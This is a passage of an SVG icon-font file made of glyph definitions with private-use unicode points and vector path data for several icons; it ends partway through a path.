    <glyph glyph-name="f1a1" unicode="&#xf1a1;" horiz-adv-x="1792" 
d="M1095 369q16 -16 0 -31q-62 -62 -199 -62t-199 62q-16 15 0 31q6 6 15 6t15 -6q48 -49 169 -49q120 0 169 49q6 6 15 6t15 -6zM788 550q0 -37 -26 -63t-63 -26t-63.5 26t-26.5 63q0 38 26.5 64t63.5 26t63 -26.5t26 -63.5zM1183 550q0 -37 -26.5 -63t-63.5 -26t-63 26
t-26 63t26 63.5t63 26.5t63.5 -26t26.5 -64zM1434 670q0 49 -35 84t-85 35t-86 -36q-130 90 -311 96l63 283l200 -45q0 -37 26 -63t63 -26t63.5 26.5t26.5 63.5t-26.5 63.5t-63.5 26.5q-54 0 -80 -50l-221 49q-19 5 -25 -16l-69 -312q-180 -7 -309 -97q-35 37 -87 37
q-50 0 -85 -35t-35 -84q0 -35 18.5 -64t49.5 -44q-6 -27 -6 -56q0 -142 140 -243t337 -101q198 0 338 101t140 243q0 32 -7 57q30 15 48 43.5t18 63.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191
t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_392" unicode="&#xf1a2;" 
d="M939 407q13 -13 0 -26q-53 -53 -171 -53t-171 53q-13 13 0 26q5 6 13 6t13 -6q42 -42 145 -42t145 42q5 6 13 6t13 -6zM676 563q0 -31 -23 -54t-54 -23t-54 23t-23 54q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1014 563q0 -31 -23 -54t-54 -23t-54 23t-23 54
q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1229 666q0 42 -30 72t-73 30q-42 0 -73 -31q-113 78 -267 82l54 243l171 -39q1 -32 23.5 -54t53.5 -22q32 0 54.5 22.5t22.5 54.5t-22.5 54.5t-54.5 22.5q-48 0 -69 -43l-189 42q-17 5 -21 -13l-60 -268q-154 -6 -265 -83
q-30 32 -74 32q-43 0 -73 -30t-30 -72q0 -30 16 -55t42 -38q-5 -25 -5 -48q0 -122 120 -208.5t289 -86.5q170 0 290 86.5t120 208.5q0 25 -6 49q25 13 40.5 37.5t15.5 54.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_393" unicode="&#xf1a3;" 
d="M866 697l90 27v62q0 79 -58 135t-138 56t-138 -55.5t-58 -134.5v-283q0 -20 -14 -33.5t-33 -13.5t-32.5 13.5t-13.5 33.5v120h-151v-122q0 -82 57.5 -139t139.5 -57q81 0 138.5 56.5t57.5 136.5v280q0 19 13.5 33t33.5 14q19 0 32.5 -14t13.5 -33v-54zM1199 502v122h-150
v-126q0 -20 -13.5 -33.5t-33.5 -13.5q-19 0 -32.5 14t-13.5 33v123l-90 -26l-60 28v-123q0 -80 58 -137t139 -57t138.5 57t57.5 139zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103
t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="f1a4" unicode="&#xf1a4;" horiz-adv-x="1920" 
d="M1062 824v118q0 42 -30 72t-72 30t-72 -30t-30 -72v-612q0 -175 -126 -299t-303 -124q-178 0 -303.5 125.5t-125.5 303.5v266h328v-262q0 -43 30 -72.5t72 -29.5t72 29.5t30 72.5v620q0 171 126.5 292t301.5 121q176 0 302 -122t126 -294v-136l-195 -58zM1592 602h328
v-266q0 -178 -125.5 -303.5t-303.5 -125.5q-177 0 -303 124.5t-126 300.5v268l131 -61l195 58v-270q0 -42 30 -71.5t72 -29.5t72 29.5t30 71.5v275z" />
    <glyph glyph-name="_395" unicode="&#xf1a5;" 
d="M1472 160v480h-704v704h-480q-93 0 -158.5 -65.5t-65.5 -158.5v-480h704v-704h480q93 0 158.5 65.5t65.5 158.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="_396" unicode="&#xf1a6;" horiz-adv-x="2048" 
d="M328 1254h204v-983h-532v697h328v286zM328 435v369h-123v-369h123zM614 968v-697h205v697h-205zM614 1254v-204h205v204h-205zM901 968h533v-942h-533v163h328v82h-328v697zM1229 435v369h-123v-369h123zM1516 968h532v-942h-532v163h327v82h-327v697zM1843 435v369h-123
v-369h123z" />
    <glyph glyph-name="_397" unicode="&#xf1a7;" 
d="M1046 516q0 -64 -38 -109t-91 -45q-43 0 -70 15v277q28 17 70 17q53 0 91 -45.5t38 -109.5zM703 944q0 -64 -38 -109.5t-91 -45.5q-43 0 -70 15v277q28 17 70 17q53 0 91 -45t38 -109zM1265 513q0 134 -88 229t-213 95q-20 0 -39 -3q-23 -78 -78 -136q-87 -95 -211 -101
v-636l211 41v206q51 -19 117 -19q125 0 213 95t88 229zM922 940q0 134 -88.5 229t-213.5 95q-74 0 -141 -36h-186v-840l211 41v206q55 -19 116 -19q125 0 213.5 95t88.5 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_398" unicode="&#xf1a8;" horiz-adv-x="2038" 
d="M1222 607q75 3 143.5 -20.5t118 -58.5t101 -94.5t84 -108t75.5 -120.5q33 -56 78.5 -109t75.5 -80.5t99 -88.5q-48 -30 -108.5 -57.5t-138.5 -59t-114 -47.5q-44 37 -74 115t-43.5 164.5t-33 180.5t-42.5 168.5t-72.5 123t-122.5 48.5l-10 -2l-6 -4q4 -5 13 -14
q6 -5 28 -23.5t25.5 -22t19 -18t18 -20.5t11.5 -21t10.5 -27.5t4.5 -31t4 -40.5l1 -33q1 -26 -2.5 -57.5t-7.5 -52t-12.5 -58.5t-11.5 -53q-35 1 -101 -9.5t-98 -10.5q-39 0 -72 10q-2 16 -2 47q0 74 3 96q2 13 31.5 41.5t57 59t26.5 51.5q-24 2 -43 -24
q-36 -53 -111.5 -99.5t-136.5 -46.5q-25 0 -75.5 63t-106.5 139.5t-84 96.5q-6 4 -27 30q-482 -112 -513 -112q-16 0 -28 11t-12 27q0 15 8.5 26.5t22.5 14.5l486 106q-8 14 -8 25t5.5 17.5t16 11.5t20 7t23 4.5t18.5 4.5q4 1 15.5 7.5t17.5 6.5q15 0 28 -16t20 -33
q163 37 172 37q17 0 29.5 -11t12.5 -28q0 -15 -8.5 -26t-23.5 -14l-182 -40l-1 -16q-1 -26 81.5 -117.5t104.5 -91.5q47 0 119 80t72 129q0 36 -23.5 53t-51 18.5t-51 11.5t-23.5 34q0 16 10 34l-68 19q43 44 43 117q0 26 -5 58q82 16 144 16q44 0 71.5 -1.5t48.5 -8.5
t31 -13.5t20.5 -24.5t15.5 -33.5t17 -47.5t24 -60l50 25q-3 -40 -23 -60t-42.5 -21t-40 -6.5t-16.5 -20.5zM1282 842q-5 5 -13.5 15.5t-12 14.5t-10.5 11.5t-10 10.5l-8 8t-8.5 7.5t-8 5t-8.5 4.5q-7 3 -14.5 5t-20.5 2.5t-22 0.5h-32.5h-37.5q-126 0 -217 -43
q16 30 36 46.5t54 29.5t65.5 36t46 36.5t50 55t43.5 50.5q12 -9 28 -31.5t32 -36.5t38 -13l12 1v-76l22 -1q247 95 371 190q28 21 50 39t42.5 37.5t33 31t29.5 34t24 31t24.5 37t23 38t27 47.5t29.5 53l7 9q-2 -53 -43 -139q-79 -165 -205 -264t-306 -142q-14 -3 -42 -7.5
t-50 -9.5t-39 -14q3 -19 24.5 -46t21.5 -34q0 -11 -26 -30zM1061 -79q39 26 131.5 47.5t146.5 21.5q9 0 22.5 -15.5t28 -42.5t26 -50t24 -51t14.5 -33q-121 -45 -244 -45q-61 0 -125 11zM822 568l48 12l109 -177l-73 -48zM1323 51q3 -15 3 -16q0 -7 -17.5 -14.5t-46 -13
t-54 -9.5t-53.5 -7.5t-32 -4.5l-7 43q21 2 60.5 8.5t72 10t60.5 3.5h14zM866 679l-96 -20l-6 17q10 1 32.5 7t34.5 6q19 0 35 -10zM1061 45h31l10 -83l-41 -12v95zM1950 1535v1v-1zM1950 1535l-1 -5l-2 -2l1 3zM1950 1535l1 1z" />
    <glyph glyph-name="_399" unicode="&#xf1a9;" 
d="M1167 -50q-5 19 -24 5q-30 -22 -87 -39t-131 -17q-129 0 -193 49q-5 4 -13 4q-11 0 -26 -12q-7 -6 -7.5 -16t7.5 -20q34 -32 87.5 -46t102.5 -12.5t99 4.5q41 4 84.5 20.5t65 30t28.5 20.5q12 12 7 29zM1128 65q-19 47 -39 61q-23 15 -76 15q-47 0 -71 -10
q-29 -12 -78 -56q-26 -24 -12 -44q9 -8 17.5 -4.5t31.5 23.5q3 2 10.5 8.5t10.5 8.5t10 7t11.5 7t12.5 5t15 4.5t16.5 2.5t20.5 1q27 0 44.5 -7.5t23 -14.5t13.5 -22q10 -17 12.5 -20t12.5 1q23 12 14 34zM1483 346q0 22 -5 44.5t-16.5 45t-34 36.5t-52.5 14
q-33 0 -97 -41.5t-129 -83.5t-101 -42q-27 -1 -63.5 19t-76 49t-83.5 58t-100 49t-111 19q-115 -1 -197 -78.5t-84 -178.5q-2 -112 74 -164q29 -20 62.5 -28.5t103.5 -8.5q57 0 132 32.5t134 71t120 70.5t93 31q26 -1 65 -31.5t71.5 -67t68 -67.5t55.5 -32q35 -3 58.5 14
t55.5 63q28 41 42.5 101t14.5 106zM1536 506q0 -164 -62 -304.5t-166 -236t-242.5 -149.5t-290.5 -54t-293 57.5t-247.5 157t-170.5 241.5t-64 302q0 89 19.5 172.5t49 145.5t70.5 118.5t78.5 94t78.5 69.5t64.5 46.5t42.5 24.5q14 8 51 26.5t54.5 28.5t48 30t60.5 44
q36 28 58 72.5t30 125.5q129 -155 186 -193q44 -29 130 -68t129 -66q21 -13 39 -25t60.5 -46.5t76 -70.5t75 -95t69 -122t47 -148.5t19.5 -177.5z" />
    <glyph glyph-name="_400" unicode="&#xf1aa;" 
d="M1070 463l-160 -160l-151 -152l-30 -30q-65 -64 -151.5 -87t-171.5 -2q-16 -70 -72 -115t-129 -45q-85 0 -145 60.5t-60 145.5q0 72 44.5 128t113.5 72q-22 86 1 173t88 152l12 12l151 -152l-11 -11q-37 -37 -37 -89t37 -90q37 -37 89 -37t89 37l30 30l151 152l161 160z
M729 1145l12 -12l-152 -152l-12 12q-37 37 -89 37t-89 -37t-37 -89.5t37 -89.5l29 -29l152 -152l160 -160l-151 -152l-161 160l-151 152l-30 30q-68 67 -90 159.5t5 179.5q-70 15 -115 71t-45 129q0 85 60 145.5t145 60.5q76 0 133.5 -49t69.5 -123q84 20 169.5 -3.5
t149.5 -87.5zM1536 78q0 -85 -60 -145.5t-145 -60.5q-74 0 -131 47t-71 118q-86 -28 -179.5 -6t-161.5 90l-11 12l151 152l12 -12q37 -37 89 -37t89 37t37 89t-37 89l-30 30l-152 152l-160 160l152 152l160 -160l152 -152l29 -30q64 -64 87.5 -150.5t2.5 -171.5
q76 -11 126.5 -68.5t50.5 -134.5zM1534 1202q0 -77 -51 -135t-127 -69q26 -85 3 -176.5t-90 -158.5l-12 -12l-151 152l12 12q37 37 37 89t-37 89t-89 37t-89 -37l-30 -30l-152 -152l-160 -160l-152 152l161 160l152 152l29 30q67 67 159 89.5t178 -3.5q11 75 68.5 126
t135.5 51q85 0 145 -60.5t60 -145.5z" />
    <glyph glyph-name="f1ab" unicode="&#xf1ab;" 
d="M654 458q-1 -3 -12.5 0.5t-31.5 11.5l-20 9q-44 20 -87 49q-7 5 -41 31.5t-38 28.5q-67 -103 -134 -181q-81 -95 -105 -110q-4 -2 -19.5 -4t-18.5 0q6 4 82 92q21 24 85.5 115t78.5 118q17 30 51 98.5t36 77.5q-8 1 -110 -33q-8 -2 -27.5 -7.5t-34.5 -9.5t-17 -5
q-2 -2 -2 -10.5t-1 -9.5q-5 -10 -31 -15q-23 -7 -47 0q-18 4 -28 21q-4 6 -5 23q6 2 24.5 5t29.5 6q58 16 105 32q100 35 102 35q10 2 43 19.5t44 21.5q9 3 21.5 8t14.5 5.5t6 -0.5q2 -12 -1 -33q0 -2 -12.5 -27t-26.5 -53.5t-17 -33.5q-25 -50 -77 -131l64 -28
q12 -6 74.5 -32t67.5 -28q4 -1 10.5 -25.5t4.5 -30.5zM449 944q3 -15 -4 -28q-12 -23 -50 -38q-30 -12 -60 -12q-26 3 -49 26q-14 15 -18 41l1 3q3 -3 19.5 -5t26.5 0t58 16q36 12 55 14q17 0 21 -17zM1147 815l63 -227l-139 42zM39 15l694 232v1032l-694 -233v-1031z
M1280 332l102 -31l-181 657l-100 31l-216 -536l102 -31l45 110l211 -65zM777 1294l573 -184v380zM1088 -29l158 -13l-54 -160l-40 66q-130 -83 -276 -108q-58 -12 -91 -12h-84q-79 0 -199.5 39t-183.5 85q-8 7 -8 16q0 8 5 13.5t13 5.5q4 0 18 -7.5t30.5 -16.5t20.5 -11
q73 -37 159.5 -61.5t157.5 -24.5q95 0 167 14.5t157 50.5q15 7 30.5 15.5t34 19t28.5 16.5zM1536 1050v-1079l-774 246q-14 -6 -375 -127.5t-368 -121.5q-13 0 -18 13q0 1 -1 3v1078q3 9 4 10q5 6 20 11q107 36 149 50v384l558 -198q2 0 160.5 55t316 108.5t161.5 53.5
q20 0 20 -21v-418z" />
    <glyph glyph-name="_402" unicode="&#xf1ac;" horiz-adv-x="1792" 
d="M288 1152q66 0 113 -47t47 -113v-1088q0 -66 -47 -113t-113 -47h-128q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h128zM1664 989q58 -34 93 -93t35 -128v-768q0 -106 -75 -181t-181 -75h-864q-66 0 -113 47t-47 113v1536q0 40 28 68t68 28h672q40 0 88 -20t76 -48
l152 -152q28 -28 48 -76t20 -88v-163zM928 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 512v128q0 14 -9 23
t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128
q14 0 23 9t9 23zM1184 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 256v128q0 14 -9 23t-23 9h-128
q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1536 896v256h-160q-40 0 -68 28t-28 68v160h-640v-512h896z" />
    <glyph glyph-name="_403" unicode="&#xf1ad;" 
d="M1344 1536q26 0 45 -19t19 -45v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280zM512 1248v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 992v-64q0 -14 9 -23t23 -9h64q14 0 23 9
t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 736v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 480v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 160v64
q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
q14 0 23 9t9 23zM384 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 -96v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9
t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM896 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 928v64
q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 160v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9
t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23z" />
    <glyph glyph-name="_404" unicode="&#xf1ae;" horiz-adv-x="1280" 
d="M1188 988l-292 -292v-824q0 -46 -33 -79t-79 -33t-79 33t-33 79v384h-64v-384q0 -46 -33 -79t-79 -33t-79 33t-33 79v824l-292 292q-28 28 -28 68t28 68q29 28 68.5 28t67.5 -28l228 -228h368l228 228q28 28 68 28t68 -28q28 -29 28 -68.5t-28 -67.5zM864 1152
q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="uniF1B1" unicode="&#xf1b0;" horiz-adv-x="1664" 
d="M780 1064q0 -60 -19 -113.5t-63 -92.5t-105 -39q-76 0 -138 57.5t-92 135.5t-30 151q0 60 19 113.5t63 92.5t105 39q77 0 138.5 -57.5t91.5 -135t30 -151.5zM438 581q0 -80 -42 -139t-119 -59q-76 0 -141.5 55.5t-100.5 133.5t-35 152q0 80 42 139.5t119 59.5
q76 0 141.5 -55.5t100.5 -134t35 -152.5zM832 608q118 0 255 -97.5t229 -237t92 -254.5q0 -46 -17 -76.5t-48.5 -45t-64.5 -20t-76 -5.5q-68 0 -187.5 45t-182.5 45q-66 0 -192.5 -44.5t-200.5 -44.5q-183 0 -183 146q0 86 56 191.5t139.5 192.5t187.5 146t193 59zM1071 819
q-61 0 -105 39t-63 92.5t-19 113.5q0 74 30 151.5t91.5 135t138.5 57.5q61 0 105 -39t63 -92.5t19 -113.5q0 -73 -30 -151t-92 -135.5t-138 -57.5zM1503 923q77 0 119 -59.5t42 -139.5q0 -74 -35 -152t-100.5 -133.5t-141.5 -55.5q-77 0 -119 59t-42 139q0 74 35 152.5
t100.5 134t141.5 55.5z" />
    <glyph glyph-name="_406" unicode="&#xf1b1;" horiz-adv-x="768" 
d="M704 1008q0 -145 -57 -243.5t-152 -135.5l45 -821q2 -26 -16 -45t-44 -19h-192q-26 0 -44 19t-16 45l45 821q-95 37 -152 135.5t-57 243.5q0 128 42.5 249.5t117.5 200t160 78.5t160 -78.5t117.5 -200t42.5 -249.5z" />
    <glyph glyph-name="_407" unicode="&#xf1b2;" horiz-adv-x="1792" 
d="M896 -93l640 349v636l-640 -233v-752zM832 772l698 254l-698 254l-698 -254zM1664 1024v-768q0 -35 -18 -65t-49 -47l-704 -384q-28 -16 -61 -16t-61 16l-704 384q-31 17 -49 47t-18 65v768q0 40 23 73t61 47l704 256q22 8 44 8t44 -8l704 -256q38 -14 61 -47t23 -73z
" />
    <glyph glyph-name="_408" unicode="&#xf1b3;" horiz-adv-x="2304" 
d="M640 -96l384 192v314l-384 -164v-342zM576 358l404 173l-404 173l-404 -173zM1664 -96l384 192v314l-384 -164v-342zM1600 358l404 173l-404 173l-404 -173zM1152 651l384 165v266l-384 -164v-267zM1088 1030l441 189l-441 189l-441 -189zM2176 512v-416q0 -36 -19 -67
t-52 -47l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-4 2 -7 4q-2 -2 -7 -4l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-33 16 -52 47t-19 67v416q0 38 21.5 70t56.5 48l434 186v400q0 38 21.5 70t56.5 48l448 192q23 10 50 10t50 -10l448 -192q35 -16 56.5 -48t21.5 -70
v-400l434 -186q36 -16 57 -48t21 -70z" />
    <glyph glyph-name="_409" unicode="&#xf1b4;" horiz-adv-x="2048" 
d="M1848 1197h-511v-124h511v124zM1596 771q-90 0 -146 -52.5t-62 -142.5h408q-18 195 -200 195zM1612 186q63 0 122 32t76 87h221q-100 -307 -427 -307q-214 0 -340.5 132t-126.5 347q0 208 130.5 345.5t336.5 137.5q138 0 240.5 -68t153 -179t50.5 -248q0 -17 -2 -47h-658
q0 -111 57.5 -171.5t166.5 -60.5zM277 236h296q205 0 205 167q0 180 -199 180h-302v-347zM277 773h281q78 0 123.5 36.5t45.5 113.5q0 144 -190 144h-260v-294zM0 1282h594q87 0 155 -14t126.5 -47.5t90 -96.5t31.5 -154q0 -181 -172 -263q114 -32 172 -115t58 -204
q0 -75 -24.5 -136.5t-66 -103.5t-98.5 -71t-121 -42t-134 -13h-611v1260z" />
    <glyph glyph-name="_410" unicode="&#xf1b5;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM499 1041h-371v-787h382q117 0 197 57.5t80 170.5q0 158 -143 200q107 52 107 164q0 57 -19.5 96.5
t-56.5 60.5t-79 29.5t-97 8.5zM477 723h-176v184h163q119 0 119 -90q0 -94 -106 -94zM486 388h-185v217h189q124 0 124 -113q0 -104 -128 -104zM1136 356q-68 0 -104 38t-36 107h411q1 10 1 30q0 132 -74.5 220.5t-203.5 88.5q-128 0 -210 -86t-82 -216q0 -135 79 -217
t213 -82q205 0 267 191h-138q-11 -34 -47.5 -54t-75.5 -20zM1126 722q113 0 124 -122h-254q4 56 39 89t91 33zM964 988h319v-77h-319v77z" />
    <glyph glyph-name="_411" unicode="&#xf1b6;" horiz-adv-x="1792" 
d="M1582 954q0 -101 -71.5 -172.5t-172.5 -71.5t-172.5 71.5t-71.5 172.5t71.5 172.5t172.5 71.5t172.5 -71.5t71.5 -172.5zM812 212q0 104 -73 177t-177 73q-27 0 -54 -6l104 -42q77 -31 109.5 -106.5t1.5 -151.5q-31 -77 -107 -109t-152 -1q-21 8 -62 24.5t-61 24.5
q32 -60 91 -96.5t130 -36.5q104 0 177 73t73 177zM1642 953q0 126 -89.5 215.5t-215.5 89.5q-127 0 -216.5 -89.5t-89.5 -215.5q0 -127 89.5 -216t216.5 -89q126 0 215.5 89t89.5 216zM1792 953q0 -189 -133.5 -322t-321.5 -133l-437 -319q-12 -129 -109 -218t-229 -89
q-121 0 -214 76t-118 192l-230 92v429l389 -157q79 48 173 48q13 0 35 -2l284 407q2 187 135.5 319t320.5 132q188 0 321.5 -133.5t133.5 -321.5z" />
    <glyph glyph-name="_412" unicode="&#xf1b7;" 
d="M1242 889q0 80 -57 136.5t-137 56.5t-136.5 -57t-56.5 -136q0 -80 56.5 -136.5t136.5 -56.5t137 56.5t57 136.5zM632 301q0 -83 -58 -140.5t-140 -57.5q-56 0 -103 29t-72 77q52 -20 98 -40q60 -24 120 1.5t85 86.5q24 60 -1.5 120t-86.5 84l-82 33q22 5 42 5
q82 0 140 -57.5t58 -140.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v153l172 -69q20 -92 93.5 -152t168.5 -60q104 0 181 70t87 173l345 252q150 0 255.5 105.5t105.5 254.5q0 150 -105.5 255.5t-255.5 105.5
q-148 0 -253 -104.5t-107 -252.5l-225 -322q-9 1 -28 1q-75 0 -137 -37l-297 119v468q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5zM1289 887q0 -100 -71 -170.5t-171 -70.5t-170.5 70.5t-70.5 170.5t70.5 171t170.5 71q101 0 171.5 -70.5t70.5 -171.5z
" />
    <glyph glyph-name="_413" unicode="&#xf1b8;" horiz-adv-x="1792" 
d="M836 367l-15 -368l-2 -22l-420 29q-36 3 -67 31.5t-47 65.5q-11 27 -14.5 55t4 65t12 55t21.5 64t19 53q78 -12 509 -28zM449 953l180 -379l-147 92q-63 -72 -111.5 -144.5t-72.5 -125t-39.5 -94.5t-18.5 -63l-4 -21l-190 357q-17 26 -18 56t6 47l8 18q35 63 114 188
l-140 86zM1680 436l-188 -359q-12 -29 -36.5 -46.5t-43.5 -20.5l-18 -4q-71 -7 -219 -12l8 -164l-230 367l211 362l7 -173q170 -16 283 -5t170 33zM895 1360q-47 -63 -265 -435l-317 187l-19 12l225 356q20 31 60 45t80 10q24 -2 48.5 -12t42 -21t41.5 -33t36 -34.5
t36 -39.5t32 -35zM1550 1053l212 -363q18 -37 12.5 -76t-27.5 -74q-13 -20 -33 -37t-38 -28t-48.5 -22t-47 -16t-51.5 -14t-46 -12q-34 72 -265 436l313 195zM1407 1279l142 83l-220 -373l-419 20l151 86q-34 89 -75 166t-75.5 123.5t-64.5 80t-47 46.5l-17 13l405 -1
q31 3 58 -10.5t39 -28.5l11 -15q39 -61 112 -190z" />
    <glyph glyph-name="_414" unicode="&#xf1b9;" horiz-adv-x="2048" 
d="M480 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM516 768h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5zM1888 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM2048 544v-384
q0 -14 -9 -23t-23 -9h-96v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-1024v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5t179 63.5h768q98 0 179 -63.5t104 -157.5
l105 -419h28q93 0 158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="_415" unicode="&#xf1ba;" horiz-adv-x="2048" 
d="M1824 640q93 0 158.5 -65.5t65.5 -158.5v-384q0 -14 -9 -23t-23 -9h-96v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-1024v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5
t179 63.5h128v224q0 14 9 23t23 9h448q14 0 23 -9t9 -23v-224h128q98 0 179 -63.5t104 -157.5l105 -419h28zM320 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM516 640h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5z
M1728 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47z" />
    <glyph glyph-name="_416" unicode="&#xf1bb;" 
d="M1504 64q0 -26 -19 -45t-45 -19h-462q1 -17 6 -87.5t5 -108.5q0 -25 -18 -42.5t-43 -17.5h-320q-25 0 -43 17.5t-18 42.5q0 38 5 108.5t6 87.5h-462q-26 0 -45 19t-19 45t19 45l402 403h-229q-26 0 -45 19t-19 45t19 45l402 403h-197q-26 0 -45 19t-19 45t19 45l384 384
q19 19 45 19t45 -19l384 -384q19 -19 19 -45t-19 -45t-45 -19h-197l402 -403q19 -19 19 -45t-19 -45t-45 -19h-229l402 -403q19 -19 19 -45z" />
    <glyph glyph-name="_417" unicode="&#xf1bc;" 
d="M1127 326q0 32 -30 51q-193 115 -447 115q-133 0 -287 -34q-42 -9 -42 -52q0 -20 13.5 -34.5t35.5 -14.5q5 0 37 8q132 27 243 27q226 0 397 -103q19 -11 33 -11q19 0 33 13.5t14 34.5zM1223 541q0 40 -35 61q-237 141 -548 141q-153 0 -303 -42q-48 -13 -48 -64
